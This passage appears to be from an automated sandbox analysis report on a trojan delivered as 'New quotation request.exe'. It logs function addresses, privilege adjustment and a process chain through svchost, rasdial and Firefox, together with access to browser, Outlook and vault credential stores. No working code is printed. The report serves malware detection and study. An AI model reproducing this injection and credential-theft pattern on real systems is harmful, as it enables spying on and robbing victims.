                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026AF0E35_2_026AF0E3
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_0269014C5_2_0269014C
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026901535_2_02690153
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026989165_2_02698916
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_0268E4B35_2_0268E4B3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E8E4F66_2_04E8E4F6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E924466_2_04E92446
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E844206_2_04E84420
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EA05916_2_04EA0591
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE05356_2_04DE0535
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFC6E06_2_04DFC6E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DDC7C06_2_04DDC7C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE07706_2_04DE0770
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E047506_2_04E04750
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E720006_2_04E72000
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E981CC6_2_04E981CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EA01AA6_2_04EA01AA
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E941A26_2_04E941A2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E681586_2_04E68158
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DD01006_2_04DD0100
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E7A1186_2_04E7A118
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E602C06_2_04E602C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E802746_2_04E80274
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EA03E66_2_04EA03E6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DEE3F06_2_04DEE3F0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9A3526_2_04E9A352
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DD0CF26_2_04DD0CF2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E80CB56_2_04E80CB5
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE0C006_2_04DE0C00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DDADE06_2_04DDADE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DF8DBF6_2_04DF8DBF
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DEAD006_2_04DEAD00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E7CD1F6_2_04E7CD1F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9EEDB6_2_04E9EEDB
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DF2E906_2_04DF2E90
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9CE936_2_04E9CE93
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE0E596_2_04DE0E59
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9EE266_2_04E9EE26
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DD2FC86_2_04DD2FC8
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E5EFA06_2_04E5EFA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E54F406_2_04E54F40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E22F286_2_04E22F28
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E00F306_2_04E00F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E82F306_2_04E82F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E0E8F06_2_04E0E8F0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DC68B86_2_04DC68B8
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE28406_2_04DE2840
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DEA8406_2_04DEA840
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EAA9A66_2_04EAA9A6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE29A06_2_04DE29A0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DF69626_2_04DF6962
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DDEA806_2_04DDEA80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E96BD76_2_04E96BD7
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9AB406_2_04E9AB40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DD14606_2_04DD1460
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9F43F6_2_04E9F43F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EA95C36_2_04EA95C3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E7D5B06_2_04E7D5B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E975716_2_04E97571
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E916CC6_2_04E916CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E256306_2_04E25630
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9F7B06_2_04E9F7B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E970E96_2_04E970E9
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9F0E06_2_04E9F0E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE70C06_2_04DE70C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E8F0CC6_2_04E8F0CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DEB1B06_2_04DEB1B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04EAB16B6_2_04EAB16B
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E1516C6_2_04E1516C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DCF1726_2_04DCF172
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E812ED6_2_04E812ED
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFB2C06_2_04DFB2C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFD2F06_2_04DFD2F0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE52A06_2_04DE52A0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E2739A6_2_04E2739A
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DCD34C6_2_04DCD34C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9132D6_2_04E9132D
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9FCF26_2_04E9FCF2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E59C326_2_04E59C32
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFFDC06_2_04DFFDC0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E97D736_2_04E97D73
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE3D406_2_04DE3D40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E91D5A6_2_04E91D5A
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE9EB06_2_04DE9EB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DA3FD26_2_04DA3FD2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DA3FD56_2_04DA3FD5
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE1F926_2_04DE1F92
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9FFB16_2_04E9FFB1
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9FF096_2_04E9FF09
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE38E06_2_04DE38E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E4D8006_2_04E4D800
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DE99506_2_04DE9950
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFB9506_2_04DFB950
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E759106_2_04E75910
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E8DAC66_2_04E8DAC6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E25AA06_2_04E25AA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E7DAAC6_2_04E7DAAC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E81AA36_2_04E81AA3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E53A6C6_2_04E53A6C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9FA496_2_04E9FA49
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E97A466_2_04E97A46
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E55BF06_2_04E55BF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E1DBF96_2_04E1DBF9
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DFFB806_2_04DFFB80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E9FB766_2_04E9FB76
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B61FE06_2_02B61FE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5CEA06_2_02B5CEA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5CE996_2_02B5CE99
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5B2006_2_02B5B200
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5B0B06_2_02B5B0B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5D0C06_2_02B5D0C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B5B1FB6_2_02B5B1FB
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B656706_2_02B65670
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B638706_2_02B63870
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B6386C6_2_02B6386C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B7BE306_2_02B7BE30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04B3E78F6_2_04B3E78F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04B3E2D66_2_04B3E2D6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04B3E3F36_2_04B3E3F3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04B3D8586_2_04B3D858
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04B3CAF86_2_04B3CAF8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03887E54 appears 107 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B970 appears 262 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038BF290 appears 103 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03875130 appears 58 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 04E15130 appears 58 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 04E4EA12 appears 86 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 04DCB970 appears 262 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 04E27E54 appears 107 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 04E5F290 appears 103 times
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: String function: 002D0AE3 appears 70 times
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: String function: 002D8900 appears 42 times
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: String function: 002B7DE1 appears 35 times
                Source: New quotation request.exe, 00000000.00000003.1674507636.00000000041CD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs New quotation request.exe
                Source: New quotation request.exe, 00000000.00000003.1674287685.0000000004023000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs New quotation request.exe
                Source: New quotation request.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@12/8
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031A06A GetLastError,FormatMessageW,0_2_0031A06A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003081CB AdjustTokenPrivileges,CloseHandle,0_2_003081CB
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003087E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_003087E1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_0031B333
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0032EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_0032EE0D
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003283BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,0_2_003283BB
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_002B4E89
                Source: C:\Users\user\Desktop\New quotation request.exeFile created: C:\Users\user\AppData\Local\Temp\aut3CA1.tmpJump to behavior
                Source: New quotation request.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: rasdial.exe, 00000006.00000003.2184551560.0000000003091000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3523647021.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.2184658414.00000000030B2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: New quotation request.exeReversingLabs: Detection: 60%
                Source: unknownProcess created: C:\Users\user\Desktop\New quotation request.exe "C:\Users\user\Desktop\New quotation request.exe"
                Source: C:\Users\user\Desktop\New quotation request.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New quotation request.exe"
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\New quotation request.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New quotation request.exe"Jump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: New quotation request.exeStatic file information: File size 1211392 > 1048576
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: New quotation request.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: rHureRETbmkd.exe, 00000005.00000000.1920990804.000000000098E000.00000002.00000001.01000000.00000005.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068309889.000000000098E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: New quotation request.exe, 00000000.00000003.1674935241.00000000040A0000.00000004.00001000.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000003.1676686944.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903695389.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905328495.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.000000000399E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004DA0000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004F3E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1996691376.0000000004A48000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1998598964.0000000004BFA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdb source: svchost.exe, 00000001.00000003.1965115335.0000000003214000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996595699.0000000003200000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3523648267.00000000005C8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: New quotation request.exe, 00000000.00000003.1674935241.00000000040A0000.00000004.00001000.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000003.1676686944.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1903695389.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905328495.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.000000000399E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, rasdial.exe, 00000006.00000002.3524622632.0000000004DA0000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004F3E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1996691376.0000000004A48000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1998598964.0000000004BFA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdbGCTL source: svchost.exe, 00000001.00000003.1965115335.0000000003214000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996595699.0000000003200000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3523648267.00000000005C8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: rasdial.exe, 00000006.00000002.3524996030.00000000053CC000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3523647021.0000000003039000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068670721.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2297224231.00000000217DC000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: rasdial.exe, 00000006.00000002.3524996030.00000000053CC000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3523647021.0000000003039000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068670721.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2297224231.00000000217DC000.00000004.80000000.00040000.00000000.sdmp
                Source: New quotation request.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: New quotation request.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: New quotation request.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: New quotation request.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: New quotation request.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B4B37 LoadLibraryA,GetProcAddress,0_2_002B4B37
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031848F push FFFFFF8Bh; iretd 0_2_00318491
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DE70F push edi; ret 0_2_002DE711
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DE828 push esi; ret 0_2_002DE82A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D8945 push ecx; ret 0_2_002D8958
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DEA03 push esi; ret 0_2_002DEA05
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DEAEC push edi; ret 0_2_002DEAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00403100 push eax; ret 1_2_00403102
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040D307 push edx; ret 1_2_0040D30E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417333 push ecx; retf 1_2_00417336
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00411C05 push esi; iretd 1_2_00411C1E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00411C13 push esi; iretd 1_2_00411C1E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00427C33 push eax; iretd 1_2_00427CA9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00425553 push ds; iretd 1_2_00425554
